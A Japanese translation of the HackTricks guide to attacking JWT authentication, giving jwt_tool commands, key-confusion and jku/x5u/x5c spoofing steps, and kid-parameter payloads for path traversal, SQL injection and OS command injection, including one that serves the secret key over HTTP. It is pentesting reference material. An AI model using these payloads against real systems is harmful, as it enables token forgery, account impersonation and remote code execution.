hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md
2023-07-07 23:42:27 +00:00

269 lines
22 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JWTの脆弱性Json Web Tokens
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
![](<../.gitbook/assets/image (638) (3).png>)
**バグバウンティのヒント**:ハッカーによって作成されたプレミアムな**バグバウンティプラットフォームであるIntigritiに登録**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
**この投稿の一部は、** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology) **から取得されました。**\
**JWTをペンテストするための素晴らしいツールの作者** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **クイックウィン**
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)を`All Tests!`モードで実行し、緑色の行が表示されるのを待ちます。
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
もし運が良ければ、ツールはWebアプリケーションがJWTを正しくチェックしている場合を見つけることができます:
![](<../.gitbook/assets/image (435).png>)
その後、プロキシでリクエストを検索するか、jwt\_ toolを使用してそのリクエストに使用されたJWTをダンプすることができます:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### データを変更せずにデータを改ざんする
署名はそのままにデータを改ざんし、サーバーが署名をチェックしているかどうかを確認できます。例えば、ユーザー名を「admin」に変更してみてください。
#### **トークンはチェックされていますか?**
- エラーメッセージが表示される場合、署名がチェックされています。機密情報が漏洩する可能性のある詳細なエラー情報を読んでください。
- 返されるページが異なる場合、署名がチェックされています。
- ページが同じ場合、署名はチェックされていません。Payloadのクレームを改ざんして何ができるかを調べるために、タンパリングを開始しましょう
### 起源
プロキシのリクエスト履歴でトークンの起源を確認してください。トークンはサーバーで作成されるべきであり、クライアントではありません。
- クライアント側から最初に見られた場合、**キー**はクライアント側のコードからアクセス可能です。それを探してください!
- サーバーから最初に見られた場合、すべて正常です。
### 期間
トークンが24時間以上続くかどうかを確認してください...おそらく期限切れになりません。もし「exp」フィールドがある場合、サーバーが正しく処理しているかどうかを確認してください。
### HMACシークレットのブルートフォース攻撃
[**このページを参照してください。**](../generic-methodologies-and-resources/brute-force.md#jwt)
### アルゴリズムをNoneに変更するCVE-2015-9235
使用されるアルゴリズムを「None」に設定し、署名部分を削除します。
この脆弱性を試すために、Burp拡張機能「JSON Web Token」を使用し、JWT内の異なる値を変更しますリクエストをRepeaterに送信し、「JSON Web Token」タブでトークンの値を変更できます。また、「Alg」フィールドの値を「None」に設定することもできます。
### アルゴリズムをRS256非対称からHS256対称に変更するCVE-2016-5431/CVE-2016-10555
アルゴリズムHS256は、各メッセージの署名と検証に秘密鍵を使用します。\
アルゴリズムRS256は、メッセージの署名には秘密鍵を使用し、認証には公開鍵を使用します。
アルゴリズムをRS256からHS256に変更すると、バックエンドのコードは公開鍵を秘密鍵として使用し、HS256アルゴリズムを使用して署名を検証します。
その後、公開鍵を使用してRS256をHS256に変更し、有効な署名を作成することができます。次のコマンドを実行して、Webサーバーの証明書を取得できます。
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### ヘッダー内の新しい公開鍵
攻撃者はトークンのヘッダーに新しい鍵を埋め込み、サーバーはこの新しい鍵を使用して署名を検証しますCVE-2018-0114
これは「JSON Web Tokens」Burp拡張機能を使用して行うことができます。\
リクエストをRepeaterに送信し、JSON Web Tokenタブで「CVE-2018-0114」を選択してリクエストを送信します
### JWKSスプーフィング
トークンが「jku」ヘッダークレームを使用している場合は、指定されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。
HTTPのインタラクションが得られた場合、サーバーが提供したURLからキーを読み込もうとしていることがわかります。_jwt_toolの-Sフラグを-u_ [_http://example.com_](http://example.com) _引数と一緒に使用して、新しいキーペアを生成し、提供したURLを注入し、公開鍵を含むJWKSを生成し、プライベートキーでトークンに署名します_
### Kidの問題
`kid`はオプションのヘッダークレームであり、複数のキーでトークンに署名する必要があり、正しいキーを検証するために参照する必要がある場合に特に有用です。
#### "kid"の問題 - キーの公開
ヘッダーで「kid」クレームが使用されている場合、そのファイルまたはそのバリエーションをウェブディレクトリで確認してください。たとえば、`"kid":"key/12345"`の場合、ウェブルートで _/key/12345__/key/12345.pem_ を探してください。
#### "kid"の問題 - パストラバーサル
ヘッダーで「kid」クレームが使用されている場合、ファイルシステムで別のファイルを使用できるかどうかを確認してください。予測可能な内容のファイルを選択するか、または `"kid":"/dev/tcp/yourIP/yourPort"` を使用して接続性をテストするか、さらにはいくつかの **SSRF** ペイロードを試してみてください...\
jwt_toolの-Tフラグを使用してJWTを改ざんし、kidクレームの値を変更し、元の署名を保持するように選択します。
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
ホスト内の既知のコンテンツを使用して、有効なJWTを偽造することもできます。たとえば、Linuxシステムでは、ファイル `/proc/sys/kernel/randomize_va_space` の値が **2** に設定されています。したがって、その **パス** を「**kid**」パラメータに入れ、JWTを生成するための **対称パスワード** として「**2**」を使用すると、有効な新しいJWTを生成できるはずです。
#### "kid"の問題 - SQLインジェクション
「kid」の内容がデータベースからパスワードを取得するために使用されるシナリオでは、次のように「kid」パラメータ内のペイロードを変更できます`non-existent-index' UNION SELECT 'ATTACKER';-- -` そして、秘密鍵 `ATTACKER` でJWTに署名します。
#### "kid"の問題 - OSインジェクション
「kid」パラメータには、キーが含まれるファイルへのパスが含まれており、このパスが**実行されるコマンドの内部で使用されている**シナリオでは、次のようなペイロードを使用してRCEを取得し、秘密鍵を公開できる可能性があります`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### その他の攻撃
以下は、テストする必要がある既知の脆弱性です。
**クロスサービスリレーアタック**
一部のWebアプリケーションでは、信頼されたJWT「サービス」を使用してトークンを生成および管理しています。過去には、JWTサービスのクライアントの1つのために生成されたトークンが、JWTサービスの別のクライアントによって受け入れられる場合がありました。\
JWTがサードパーティサービスを介して発行または更新される場合、同じユーザー名/メールアドレスでそのサービスの別のクライアントにアカウントを作成できるかどうかを特定する価値があります。そのトークンを取得し、ターゲットにリクエストで再生してみてください。受け入れられますか?
* トークンが受け入れられる場合、任意のユーザーアカウントを偽装することができる重大な問題があるかもしれません。ただし、サードパーティアプリケーションにサインアップする場合は、法的なグレーゾーンに入る可能性があるため、より広範なテスト権限の許可を求める必要があることに注意してください。
**expがチェックされていますか**
「exp」ペイロードクレームは、トークンの有効期限をチェックするために使用されます。JWTはしばしばセッション情報の欠如時に使用されるため、注意して取り扱う必要があります。他の人のJWTをキャプチャして再生することで、そのユーザーをなりすますことができる場合があります。\
JWTリプレイ攻撃に対する1つの緩和策JWT RFCで推奨されているは、「exp」クレームを使用してトークンの有効期限を設定することです。また、アプリケーションに関連するチェックを設定して、この値が処理され、トークンが期限切れの場合は拒否されるようにすることも重要です。トークンに「exp」クレームが含まれていて、テスト時間制限が許可する場合は、トークンを保存して有効期限が過ぎた後に再生してみてください。_jwt\_toolの -R フラグを使用してトークンの内容を読み取り、タイムスタンプの解析と有効期限のチェックUTCのタイムスタンプを行います_
* トークンがアプリケーションでまだ検証される場合、これはトークンが**決して期限切れにならない**セキュリティリスクがある可能性があります。
### x5uとjku
#### jku
jkuは**JWK Set URL**の略です。\
トークンが「**jku**」**ヘッダー**クレームを使用している場合は、提供されたURLを確認してください。これは、トークンの検証に使用される公開鍵を保持するJWKSファイルが格納されているURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更してみてください。
まず、新しい証明書と新しい秘密鍵と公開鍵を作成する必要があります。
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
次に、[**jwt.io**](https://jwt.io)を使用して、**作成された公開鍵と秘密鍵を使用し、パラメーターjkuを作成された証明書に指定して新しいJWTを作成**することができます。有効なjku証明書を作成するために、元の証明書をダウンロードして必要なパラメーターを変更することができます。
公開証明書からパラメーター「e」と「n」を取得するには、次のようにします
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
#### x5u
X.509 URL。PEM形式でエンコードされたX.509証明書形式の標準公開証明書のセットを指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。次の証明書は前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するためには、トランスポートセキュリティが必要です。
このヘッダを**あなたが制御するURLに変更**して、リクエストが受信されるかどうかを確認してください。その場合、JWTを**改ざんすることができます**。
あなたが制御する証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
次に、例えば[**jwt.io**](https://jwt.io)を使用して、**作成された公開鍵と秘密鍵を使用し、パラメータx5uを作成された.crt証明書に指定して新しいJWTを作成する**ことができます。
![](<../.gitbook/assets/image (439).png>)
また、これらの脆弱性を**SSRFに悪用する**こともできます。
#### x5c
このパラメータには、**ベース64でエンコードされた証明書**が含まれている場合があります。
![](<../.gitbook/assets/image (440).png>)
攻撃者が**自己署名証明書を生成**し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新たに生成された証明書に置き換え、他のパラメータn、e、x5tを変更すると、サーバーは基本的に偽造トークンを受け入れるでしょう。
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### 埋め込まれた公開鍵CVE-2018-0114
もしJWTに以下のシナリオのように公開鍵が埋め込まれている場合
![](<../.gitbook/assets/image (438).png>)
次のNode.jsスクリプトを使用することで、そのデータから公開鍵を生成することが可能です
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
新しい秘密鍵/公開鍵を生成し、その新しい公開鍵をトークン内に埋め込み、新しい署名を生成することが可能です。
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
以下のNode.jsスクリプトを使用して、"n"と"e"を取得することができます。
```javascript
const jwt = require('jsonwebtoken');
const token = 'your_jwt_token_here';
const decodedToken = jwt.decode(token, { complete: true });
const n = decodedToken.header.n;
const e = decodedToken.header.e;
console.log('n:', n);
console.log('e:', e);
```
このスクリプトを使用すると、指定したJWTトークンのヘッダーから"n"と"e"を取得できます。
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
最後に、公開鍵と秘密鍵、および新しい「n」と「e」の値を使用して、[jwt.io](https://jwt.io)を使用して任意の情報を持つ新しい有効なJWTを作成できます。
### JTIJWT ID
JTIJWT IDクレームは、JWTトークンの一意の識別子を提供します。これを使用して、トークンのリプレイを防ぐことができます。\
ただし、IDの最大長が40001-9999であると想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増やしている場合、これを悪用して**リクエストを再生**することができます成功した再生ごとに10000リクエストを送信する必要があります
### JWT登録済みクレーム
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### ツール
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>